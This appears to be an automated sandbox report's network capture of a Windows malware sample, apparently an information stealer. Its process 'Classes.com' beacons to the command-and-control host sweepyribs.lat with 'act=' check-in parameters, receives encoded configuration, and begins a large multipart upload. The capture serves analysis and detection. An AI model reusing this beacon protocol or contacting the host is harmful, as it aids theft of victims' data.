                                                                                                                                                                                                                                                                        2024-12-17 17:52:35 UTC263INData Raw: 31 30 30 0d 0a 38 33 37 31 31 30 33 33 33 2d 6c 61 77 2e 67 69 66 22 20 74 69 74 6c 65 3d 22 53 65 61 73 6f 6e 61 6c 20 48 6f 6c 69 64 61 79 73 20 32 30 32 34 22 20 77 69 64 74 68 3d 22 35 30 30 22 20 69 64 3d 22 68 70 6c 6f 67 6f 22 3e 3c 62 72 3e 3c 2f 64 69 76 3e 3c 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 2f 73 65 61 72 63 68 22 20 6e 61 6d 65 3d 22 66 22 3e 3c 74 61 62 6c 65 20 63 65 6c 6c 70 61 64 64 69 6e 67 3d 22 30 22 20 63 65 6c 6c 73 70 61 63 69 6e 67 3d 22 30 22 3e 3c 74 72 20 76 61 6c 69 67 6e 3d 22 74 6f 70 22 3e 3c 74 64 20 77 69 64 74 68 3d 22 32 35 25 22 3e 26 6e 62 73 70 3b 3c 2f 74 64 3e 3c 74 64 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 20 6e 6f 77 72 61 70 3d 22 22 3e 3c 69 6e 70 75 74 20 6e 61 6d 65 3d 22 69 65 22 20 76 61 6c 75 65
                                                                                                                                                                                                                                                                        Data Ascii: 100837110333-law.gif" title="Seasonal Holidays 2024" width="500" id="hplogo"><br></div><form action="/search" name="f"><table cellpadding="0" cellspacing="0"><tr valign="top"><td width="25%">&nbsp;</td><td align="center" nowrap=""><input name="ie" value


                                                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                        1192.168.2.449746162.159.61.34432828C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe
                                                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                        2024-12-17 17:52:46 UTC245OUTPOST /dns-query HTTP/1.1
                                                                                                                                                                                                                                                                        Host: chrome.cloudflare-dns.com
                                                                                                                                                                                                                                                                        Connection: keep-alive
                                                                                                                                                                                                                                                                        Content-Length: 128
                                                                                                                                                                                                                                                                        Accept: application/dns-message
                                                                                                                                                                                                                                                                        Accept-Language: *
                                                                                                                                                                                                                                                                        User-Agent: Chrome
                                                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                                                        Content-Type: application/dns-message
                                                                                                                                                                                                                                                                        2024-12-17 17:52:46 UTC128OUTData Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                                        Data Ascii: wwwgstaticcom)TP
                                                                                                                                                                                                                                                                        2024-12-17 17:52:46 UTC247INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                                                        Date: Tue, 17 Dec 2024 17:52:46 GMT
                                                                                                                                                                                                                                                                        Content-Type: application/dns-message
                                                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                                                        Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                                                        Content-Length: 468
                                                                                                                                                                                                                                                                        CF-RAY: 8f38c4d39bcff78d-EWR
                                                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                                        2024-12-17 17:52:46 UTC468INData Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 27 00 04 8e fb 28 83 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                                        Data Ascii: wwwgstaticcom'()


                                                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                        2192.168.2.449747162.159.61.34432828C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe
                                                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                        2024-12-17 17:52:47 UTC245OUTPOST /dns-query HTTP/1.1
                                                                                                                                                                                                                                                                        Host: chrome.cloudflare-dns.com
                                                                                                                                                                                                                                                                        Connection: keep-alive
                                                                                                                                                                                                                                                                        Content-Length: 128
                                                                                                                                                                                                                                                                        Accept: application/dns-message
                                                                                                                                                                                                                                                                        Accept-Language: *
                                                                                                                                                                                                                                                                        User-Agent: Chrome
                                                                                                                                                                                                                                                                        Accept-Encoding: identity
                                                                                                                                                                                                                                                                        Content-Type: application/dns-message
                                                                                                                                                                                                                                                                        2024-12-17 17:52:47 UTC128OUTData Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                                                                                                                                                                                                        Data Ascii: wwwgstaticcom)TP


                                                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                        3192.168.2.449895104.21.2.1104437900C:\Users\user\AppData\Local\Temp\530420\Classes.com
                                                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                        2024-12-17 17:54:10 UTC261OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                                        Connection: Keep-Alive
                                                                                                                                                                                                                                                                        Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                                        Content-Length: 8
                                                                                                                                                                                                                                                                        Host: sweepyribs.lat
                                                                                                                                                                                                                                                                        2024-12-17 17:54:10 UTC8OUTData Raw: 61 63 74 3d 6c 69 66 65
                                                                                                                                                                                                                                                                        Data Ascii: act=life
                                                                                                                                                                                                                                                                        2024-12-17 17:54:11 UTC1038INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                        Date: Tue, 17 Dec 2024 17:54:11 GMT
                                                                                                                                                                                                                                                                        Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                        Transfer-Encoding: chunked
                                                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                                                        Set-Cookie: PHPSESSID=dpt4rui8boea6aet8rutiolo66; expires=Sat, 12-Apr-2025 11:40:50 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                                        Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                                        Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                                        Pragma: no-cache
                                                                                                                                                                                                                                                                        cf-cache-status: DYNAMIC
                                                                                                                                                                                                                                                                        vary: accept-encoding
                                                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DsjORms6UVA8nzIk5vd24p7C4FSmbsak5J%2B8Tn48xZJaMGwthjCcMtO25lojpGkt1CxfSh8ZdHV2f%2Bfn6V4%2BOa25mt1ix7mW8Pq4HrWjeY3b8Od8Vv%2BhB7uvjFNmzp27Wg%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                                                        CF-RAY: 8f38c6e27a1b8c75-EWR
                                                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                                        server-timing: cfL4;desc="?proto=TCP&rtt=1828&min_rtt=1821&rtt_var=697&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2833&recv_bytes=905&delivery_rate=1555673&cwnd=195&unsent_bytes=0&cid=da9f32c1808cb299&ts=741&x=0"
                                                                                                                                                                                                                                                                        2024-12-17 17:54:11 UTC7INData Raw: 32 0d 0a 6f 6b 0d 0a
                                                                                                                                                                                                                                                                        Data Ascii: 2ok
                                                                                                                                                                                                                                                                        2024-12-17 17:54:11 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                                        Data Ascii: 0


                                                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                        4192.168.2.449901104.21.2.1104437900C:\Users\user\AppData\Local\Temp\530420\Classes.com
                                                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                        2024-12-17 17:54:12 UTC262OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                                        Connection: Keep-Alive
                                                                                                                                                                                                                                                                        Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                                        Content-Length: 51
                                                                                                                                                                                                                                                                        Host: sweepyribs.lat
                                                                                                                                                                                                                                                                        2024-12-17 17:54:12 UTC51OUTData Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 66 62 61 64 73 74 65 73 74 26 6a 3d
                                                                                                                                                                                                                                                                        Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--fbadstest&j=
                                                                                                                                                                                                                                                                        2024-12-17 17:54:13 UTC1036INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                                        Date: Tue, 17 Dec 2024 17:54:13 GMT
                                                                                                                                                                                                                                                                        Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                        Transfer-Encoding: chunked
                                                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                                                        Set-Cookie: PHPSESSID=hr7r12d1bd3ihcouceee7brjj0; expires=Sat, 12-Apr-2025 11:40:52 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                                        Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                                        Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                                        Pragma: no-cache
                                                                                                                                                                                                                                                                        cf-cache-status: DYNAMIC
                                                                                                                                                                                                                                                                        vary: accept-encoding
                                                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=u0ojuhdFMQNAa%2BaEoqM9M2TajJDV6jWF6yw4DW1HvsQ0GM%2FbvNHCADkVm%2FahPgJ8pTJTl9X1otWl5W5SwD4LOaZPigoiGNpdfz0xtIXIr30QyXioCKKKnOt9tzK0u1esAQ%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                                                        CF-RAY: 8f38c6eebdfa3308-EWR
                                                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                                        server-timing: cfL4;desc="?proto=TCP&rtt=1801&min_rtt=1795&rtt_var=686&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2832&recv_bytes=949&delivery_rate=1580086&cwnd=105&unsent_bytes=0&cid=23a17fbfa9b68e63&ts=870&x=0"
                                                                                                                                                                                                                                                                        2024-12-17 17:54:13 UTC333INData Raw: 34 39 31 63 0d 0a 5a 77 33 30 71 42 77 78 6f 75 78 58 34 5a 6c 75 2b 55 41 6f 79 4b 2b 33 2f 4f 39 2b 39 48 4a 45 58 77 57 6b 39 45 37 30 4f 4a 51 63 4c 34 4b 4b 4a 67 57 4f 7a 69 53 45 75 31 53 4e 4d 6c 32 74 67 35 57 64 69 31 7a 4f 46 43 55 7a 64 73 48 59 62 49 4a 56 74 6c 31 72 6c 63 52 76 56 49 37 4f 4d 70 6d 37 56 4b 49 37 43 71 33 42 6c 63 62 4e 47 35 34 51 4a 54 4e 6e 78 5a 38 68 68 46 54 33 44 32 47 54 77 48 6c 53 78 6f 30 37 6a 50 77 4c 6e 43 46 43 70 73 62 61 6c 49 4a 63 32 46 41 68 4a 53 65 65 31 67 4f 52 54 50 55 71 62 49 66 44 50 6b 79 4f 6c 33 57 45 39 30 7a 44 59 6b 6d 74 7a 64 75 61 69 78 57 63 47 69 77 37 5a 73 43 65 50 70 31 65 2f 41 39 76 6b 4d 46 7a 57 39 4b 41 4d 59 76 33 44 5a 59 68 43 75 53 4e 30 6f 62 4e 52 4e 5a 44 46 44 35 32 31
                                                                                                                                                                                                                                                                        Data Ascii: 491cZw30qBwxouxX4Zlu+UAoyK+3/O9+9HJEXwWk9E70OJQcL4KKJgWOziSEu1SNMl2tg5Wdi1zOFCUzdsHYbIJVtl1rlcRvVI7OMpm7VKI7Cq3BlcbNG54QJTNnxZ8hhFT3D2GTwHlSxo07jPwLnCFCpsbalIJc2FAhJSee1gORTPUqbIfDPkyOl3WE90zDYkmtzduaixWcGiw7ZsCePp1e/A9vkMFzW9KAMYv3DZYhCuSN0obNRNZDFD521
                                                                                                                                                                                                                                                                        2024-12-17 17:54:13 UTC1369INData Raw: 43 48 54 64 39 65 49 69 50 62 4a 46 57 74 6c 30 76 6b 4d 52 2f 58 73 43 63 50 59 6a 77 43 59 6b 70 51 36 66 41 31 5a 4f 48 45 35 55 51 49 54 64 74 79 5a 77 6f 6d 31 66 77 42 57 2f 57 68 44 35 55 32 4d 35 74 77 39 67 4a 69 79 56 47 76 49 2f 76 33 70 4a 53 6a 31 41 68 4d 53 65 65 31 69 53 54 57 66 55 4f 59 4a 58 43 64 55 48 41 6e 44 4f 4f 2f 68 36 64 4a 30 53 67 7a 73 65 55 67 78 71 56 47 53 30 30 59 73 47 53 62 4e 67 61 38 52 30 76 7a 6f 70 66 58 73 75 43 50 35 54 37 54 49 52 73 55 2b 72 4b 32 64 37 56 58 4a 49 52 49 6a 78 6a 79 4a 67 6f 6d 6c 7a 34 43 47 43 51 77 48 35 55 79 6f 59 39 67 76 59 48 6c 43 4a 50 70 38 6e 54 6b 6f 77 5a 31 6c 35 6d 4f 6e 2b 47 7a 6d 79 34 58 66 55 58 4c 61 50 4a 63 46 33 48 6d 48 57 63 74 52 58 62 4a 55 62 71 6c 5a 57 51 69 42
                                                                                                                                                                                                                                                                        Data Ascii: CHTd9eIiPbJFWtl0vkMR/XsCcPYjwCYkpQ6fA1ZOHE5UQITdtyZwom1fwBW/WhD5U2M5tw9gJiyVGvI/v3pJSj1AhMSee1iSTWfUOYJXCdUHAnDOO/h6dJ0SgzseUgxqVGS00YsGSbNga8R0vzopfXsuCP5T7TIRsU+rK2d7VXJIRIjxjyJgomlz4CGCQwH5UyoY9gvYHlCJPp8nTkowZ1l5mOn+Gzmy4XfUXLaPJcF3HmHWctRXbJUbqlZWQiB
                                                                                                                                                                                                                                                                        2024-12-17 17:54:13 UTC1369INData Raw: 66 57 44 65 31 6e 54 57 61 2b 45 4f 4c 61 50 4a 63 46 33 48 6d 48 57 63 74 52 58 62 4a 55 62 71 6c 5a 57 54 68 52 6d 54 48 79 63 33 61 63 4f 63 49 4a 35 55 39 52 64 67 6b 73 70 79 57 38 71 44 4f 34 66 7a 42 5a 41 70 54 4b 72 4d 33 39 37 44 58 4a 45 49 5a 6d 55 6e 38 70 45 67 6d 31 57 30 4d 47 79 59 78 48 6c 46 67 4a 46 37 6d 72 73 4c 6c 32 49 53 36 73 48 63 6e 6f 59 57 6b 68 41 68 4d 47 4c 46 6b 53 2b 62 58 66 77 4c 61 4a 4c 47 64 31 37 47 6a 6a 4b 48 2f 68 36 65 4b 30 61 6d 6a 5a 76 65 69 67 54 57 53 47 59 53 59 4e 43 56 41 35 56 4c 2f 30 56 77 32 4e 4d 2b 56 4d 7a 4f 62 63 50 38 43 5a 4d 70 54 4b 4c 4e 78 35 75 44 46 35 63 61 49 44 78 71 79 70 41 73 6c 31 72 77 43 57 2b 52 7a 57 78 42 78 59 67 6e 69 62 74 43 32 79 56 53 36 70 57 56 71 4a 30 4c 68 77 5a
                                                                                                                                                                                                                                                                        Data Ascii: fWDe1nTWa+EOLaPJcF3HmHWctRXbJUbqlZWThRmTHyc3acOcIJ5U9RdgkspyW8qDO4fzBZApTKrM397DXJEIZmUn8pEgm1W0MGyYxHlFgJF7mrsLl2IS6sHcnoYWkhAhMGLFkS+bXfwLaJLGd17GjjKH/h6eK0amjZveigTWSGYSYNCVA5VL/0Vw2NM+VMzObcP8CZMpTKLNx5uDF5caIDxqypAsl1rwCW+RzWxBxYgnibtC2yVS6pWVqJ0LhwZ
                                                                                                                                                                                                                                                                        2024-12-17 17:54:13 UTC1369INData Raw: 5a 34 6b 6d 56 58 79 43 32 6d 51 78 33 74 63 79 70 77 39 6a 66 59 48 6c 43 6c 59 71 73 44 52 6b 6f 6b 55 6e 52 70 6d 63 79 66 42 6a 6d 7a 4f 47 73 4d 49 59 4a 62 4a 61 42 50 66 77 43 7a 44 2f 41 44 62 65 67 71 6d 77 39 57 52 67 52 43 64 47 43 63 78 61 63 47 54 4a 5a 35 53 35 41 52 72 6e 73 74 77 58 4d 47 4b 4d 49 62 2f 43 35 38 6b 52 65 71 44 6c 5a 6d 56 58 4d 35 51 43 52 70 53 68 4c 63 57 31 6b 57 34 48 43 2b 52 78 6a 34 4c 67 49 49 32 6a 2f 4d 44 6e 53 74 47 6f 4d 54 65 6b 6f 59 59 6d 68 6b 6a 4f 32 62 44 6b 79 32 53 56 76 77 44 62 4a 58 46 63 56 7a 49 7a 6e 76 44 2f 42 54 62 65 67 71 50 32 74 36 51 69 31 79 4a 58 6a 39 39 59 4d 72 57 64 4e 5a 57 2f 77 4e 70 6b 38 5a 2f 56 63 69 4c 50 59 66 36 43 70 30 68 52 61 37 49 31 4a 47 4a 45 4a 67 61 4a 7a 78 72
                                                                                                                                                                                                                                                                        Data Ascii: Z4kmVXyC2mQx3tcypw9jfYHlClYqsDRkokUnRpmcyfBjmzOGsMIYJbJaBPfwCzD/ADbegqmw9WRgRCdGCcxacGTJZ5S5ARrnstwXMGKMIb/C58kReqDlZmVXM5QCRpShLcW1kW4HC+Rxj4LgII2j/MDnStGoMTekoYYmhkjO2bDky2SVvwDbJXFcVzIznvD/BTbegqP2t6Qi1yJXj99YMrWdNZW/wNpk8Z/VciLPYf6Cp0hRa7I1JGJEJgaJzxr
                                                                                                                                                                                                                                                                        2024-12-17 17:54:13 UTC1369INData Raw: 46 56 38 67 4a 6a 6b 4d 56 34 55 73 57 45 4f 59 54 2b 42 35 51 75 43 75 53 4e 30 6f 62 4e 52 4e 59 2b 4c 53 35 77 78 5a 67 6e 67 45 47 32 47 69 47 50 69 6e 6c 66 67 4e 5a 31 67 50 41 48 6e 79 4a 47 71 73 6e 59 6e 70 38 54 6b 52 63 76 4e 6e 58 4d 6b 53 75 64 55 76 30 4b 61 59 54 47 63 45 48 46 6e 43 66 44 74 55 79 63 4f 67 72 79 6a 65 4f 5a 6e 51 79 56 55 68 63 72 5a 4e 43 64 49 5a 6f 61 36 55 74 32 31 73 31 79 45 35 6a 4f 4d 34 7a 79 44 35 51 6a 51 36 62 41 30 4a 65 49 48 5a 41 55 4c 44 64 6e 77 4a 41 74 6b 31 44 31 42 47 57 66 7a 58 5a 55 77 35 78 31 7a 62 73 4c 67 32 49 53 36 75 54 53 6a 49 4d 4d 31 67 39 6f 4a 43 66 42 6d 6d 7a 4f 47 76 49 50 59 4a 4c 4e 63 6c 58 46 69 44 69 43 39 41 32 62 4c 55 36 68 78 4e 4f 66 67 42 6d 62 46 44 51 33 62 4d 6d 61 4a
                                                                                                                                                                                                                                                                        Data Ascii: FV8gJjkMV4UsWEOYT+B5QuCuSN0obNRNY+LS5wxZgngEG2GiGPinlfgNZ1gPAHnyJGqsnYnp8TkRcvNnXMkSudUv0KaYTGcEHFnCfDtUycOgryjeOZnQyVUhcrZNCdIZoa6Ut21s1yE5jOM4zyD5QjQ6bA0JeIHZAULDdnwJAtk1D1BGWfzXZUw5x1zbsLg2IS6uTSjIMM1g9oJCfBmmzOGvIPYJLNclXFiDiC9A2bLU6hxNOfgBmbFDQ3bMmaJ
                                                                                                                                                                                                                                                                        2024-12-17 17:54:13 UTC1369INData Raw: 41 5a 5a 76 4a 63 56 44 53 6a 7a 4f 52 2b 77 47 52 4d 45 43 68 79 4e 69 54 67 42 2b 51 46 69 30 78 64 63 2b 57 4c 35 30 61 75 45 56 6f 6a 6f 6f 6d 45 2b 4f 5a 49 34 6e 38 41 49 30 70 53 36 6e 62 32 49 37 4e 55 74 59 42 49 53 77 6e 6e 6f 41 38 67 56 33 70 53 33 62 57 7a 58 49 54 6d 4d 34 7a 69 76 30 4c 6e 53 78 59 72 38 76 61 6b 59 51 56 6b 68 67 6c 50 57 50 43 6b 53 6d 56 56 76 30 43 62 4a 6e 4f 64 31 33 4a 67 58 58 4e 75 77 75 44 59 68 4c 71 37 4d 36 64 67 52 48 57 44 32 67 6b 4a 38 47 61 62 4d 34 61 2b 67 74 71 6c 73 42 34 56 38 57 49 50 34 62 37 42 35 67 74 54 71 7a 4a 32 70 36 47 46 5a 63 57 49 7a 64 73 77 4a 73 76 6b 46 79 32 53 79 2b 52 30 6a 34 4c 67 4b 34 75 6a 76 63 4c 32 7a 30 45 73 34 33 53 6b 73 31 45 31 68 73 71 4f 57 44 47 6d 79 2b 65 58 2f
                                                                                                                                                                                                                                                                        Data Ascii: AZZvJcVDSjzOR+wGRMEChyNiTgB+QFi0xdc+WL50auEVojoomE+OZI4n8AI0pS6nb2I7NUtYBISwnnoA8gV3pS3bWzXITmM4ziv0LnSxYr8vakYQVkhglPWPCkSmVVv0CbJnOd13JgXXNuwuDYhLq7M6dgRHWD2gkJ8GabM4a+gtqlsB4V8WIP4b7B5gtTqzJ2p6GFZcWIzdswJsvkFy2Sy+R0j4LgK4ujvcL2z0Es43Sks1E1hsqOWDGmy+eX/
                                                                                                                                                                                                                                                                        2024-12-17 17:54:13 UTC1369INData Raw: 79 56 46 51 30 59 64 31 7a 62 73 4c 6a 57 49 53 36 76 4f 56 6a 49 34 4d 6c 52 38 33 41 79 65 65 6a 78 4c 57 55 65 41 43 66 35 58 63 64 56 37 4d 6e 77 76 44 6f 31 6a 4a 63 42 6a 34 6e 38 72 65 6b 69 50 59 55 43 64 39 50 2f 2b 50 62 49 41 61 72 6c 63 68 31 74 67 2b 43 34 44 4a 4e 70 48 70 43 70 67 30 53 65 33 7a 36 37 6d 62 46 70 45 41 49 53 70 6f 68 74 68 73 6d 52 71 75 50 43 2b 66 7a 57 56 43 31 6f 4d 6c 68 4c 73 7a 31 57 4a 53 36 70 57 56 71 34 34 53 6d 42 63 77 4c 43 72 68 67 43 61 52 53 76 45 53 59 4e 61 45 50 6c 57 41 31 6d 62 4e 75 77 69 4b 59 68 4c 36 6e 34 37 4c 33 6b 76 47 51 6a 6c 7a 66 6f 61 41 62 4d 34 49 75 45 56 39 31 70 49 2b 46 4d 4f 63 4a 34 58 34 47 70 68 6c 64 4a 54 71 7a 35 4f 4c 43 34 63 75 47 44 70 39 79 35 41 37 68 78 62 6a 42 6d 47
                                                                                                                                                                                                                                                                        Data Ascii: yVFQ0Yd1zbsLjWIS6vOVjI4MlR83AyeejxLWUeACf5XcdV7MnwvDo1jJcBj4n8rekiPYUCd9P/+PbIAarlch1tg+C4DJNpHpCpg0Se3z67mbFpEAISpohthsmRquPC+fzWVC1oMlhLsz1WJS6pWVq44SmBcwLCrhgCaRSvESYNaEPlWA1mbNuwiKYhL6n47L3kvGQjlzfoaAbM4IuEV91pI+FMOcJ4X4GphldJTqz5OLC4cuGDp9y5A7hxbjBmG
                                                                                                                                                                                                                                                                        2024-12-17 17:54:13 UTC1369INData Raw: 34 37 4f 4d 38 4f 6a 58 4e 56 69 54 72 75 4e 6a 63 37 66 52 38 4e 44 63 57 30 31 32 64 67 31 31 6b 79 32 58 54 33 59 69 6d 77 54 6d 4d 35 79 67 4f 6b 65 6e 53 46 63 71 59 72 72 6f 4b 6f 53 6b 52 45 77 4c 58 44 4a 71 42 4b 44 57 66 67 4c 61 49 44 62 50 68 32 41 67 58 58 62 77 6b 7a 54 59 6e 58 6b 6a 63 33 65 31 56 79 6a 45 79 67 7a 59 4e 43 48 59 62 46 55 38 51 52 35 68 74 31 78 45 34 37 4f 4d 38 4f 6a 58 74 56 69 54 72 75 4e 6a 63 37 66 52 38 4e 44 63 57 30 31 32 64 67 31 31 6b 79 32 58 54 33 59 69 6d 77 54 6d 4d 35 79 67 4f 6b 65 6e 53 46 63 71 59 72 72 6f 4b 6f 53 6b 52 45 77 4c 58 44 4a 32 51 4b 67 65 38 67 37 65 70 58 45 63 46 54 57 6e 33 58 4e 75 77 50 62 65 6e 50 71 68 5a 57 68 77 31 79 4f 55 48 35 39 55 73 57 59 49 70 46 4d 35 30 68 49 6d 4d 31 2f
                                                                                                                                                                                                                                                                        Data Ascii: 47OM8OjXNViTruNjc7fR8NDcW012dg11ky2XT3YimwTmM5ygOkenSFcqYrroKoSkREwLXDJqBKDWfgLaIDbPh2AgXXbwkzTYnXkjc3e1VyjEygzYNCHYbFU8QR5ht1xE47OM8OjXtViTruNjc7fR8NDcW012dg11ky2XT3YimwTmM5ygOkenSFcqYrroKoSkREwLXDJ2QKge8g7epXEcFTWn3XNuwPbenPqhZWhw1yOUH59UsWYIpFM50hImM1/
                                                                                                                                                                                                                                                                        2024-12-17 17:54:13 UTC1369INData Raw: 65 45 36 77 2f 5a 45 30 65 75 32 38 43 64 6e 52 75 6f 4c 67 73 76 59 4e 61 56 62 71 64 4d 39 51 56 68 6b 59 6f 77 45 39 6a 4f 62 63 50 57 48 70 77 79 53 65 71 44 6c 5a 4c 4e 52 4e 59 64 4e 44 70 33 78 64 6f 72 6a 46 32 32 47 69 47 50 69 6d 67 54 6d 4e 31 37 77 2b 6c 4d 77 32 49 4e 70 4d 44 55 6e 59 4d 66 68 41 49 67 50 6e 48 46 30 52 4b 6f 64 2b 51 43 66 35 57 49 54 31 37 45 6d 43 43 41 36 77 75 6c 48 47 65 34 79 73 57 64 7a 7a 43 52 48 53 6f 44 57 66 47 48 4b 34 59 59 30 41 5a 35 6c 59 6f 77 45 39 6a 4f 62 63 50 57 48 70 77 79 53 65 6a 68 30 70 4f 42 58 49 6c 65 50 33 31 78 68 73 35 2f 32 42 72 6b 52 54 66 57 6a 58 31 42 30 6f 67 32 6c 66 68 4c 70 52 78 6e 75 4d 72 46 6e 63 38 74 6d 78 51 77 4b 47 54 57 6b 52 4b 6f 64 2b 51 43 66 35 57 49 57 32 6d 43 76
                                                                                                                                                                                                                                                                        Data Ascii: eE6w/ZE0eu28CdnRuoLgsvYNaVbqdM9QVhkYowE9jObcPWHpwySeqDlZLNRNYdNDp3xdorjF22GiGPimgTmN17w+lMw2INpMDUnYMfhAIgPnHF0RKod+QCf5WIT17EmCCA6wulHGe4ysWdzzCRHSoDWfGHK4YY0AZ5lYowE9jObcPWHpwySejh0pOBXIleP31xhs5/2BrkRTfWjX1B0og2lfhLpRxnuMrFnc8tmxQwKGTWkRKod+QCf5WIW2mCv


                                                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                                        5192.168.2.449907104.21.2.1104437900C:\Users\user\AppData\Local\Temp\530420\Classes.com
                                                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                                        2024-12-17 17:54:14 UTC279OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                                        Connection: Keep-Alive
                                                                                                                                                                                                                                                                        Content-Type: multipart/form-data; boundary=RKDSVZCS87D51BWYP
                                                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                                        Content-Length: 18161
                                                                                                                                                                                                                                                                        Host: sweepyribs.lat
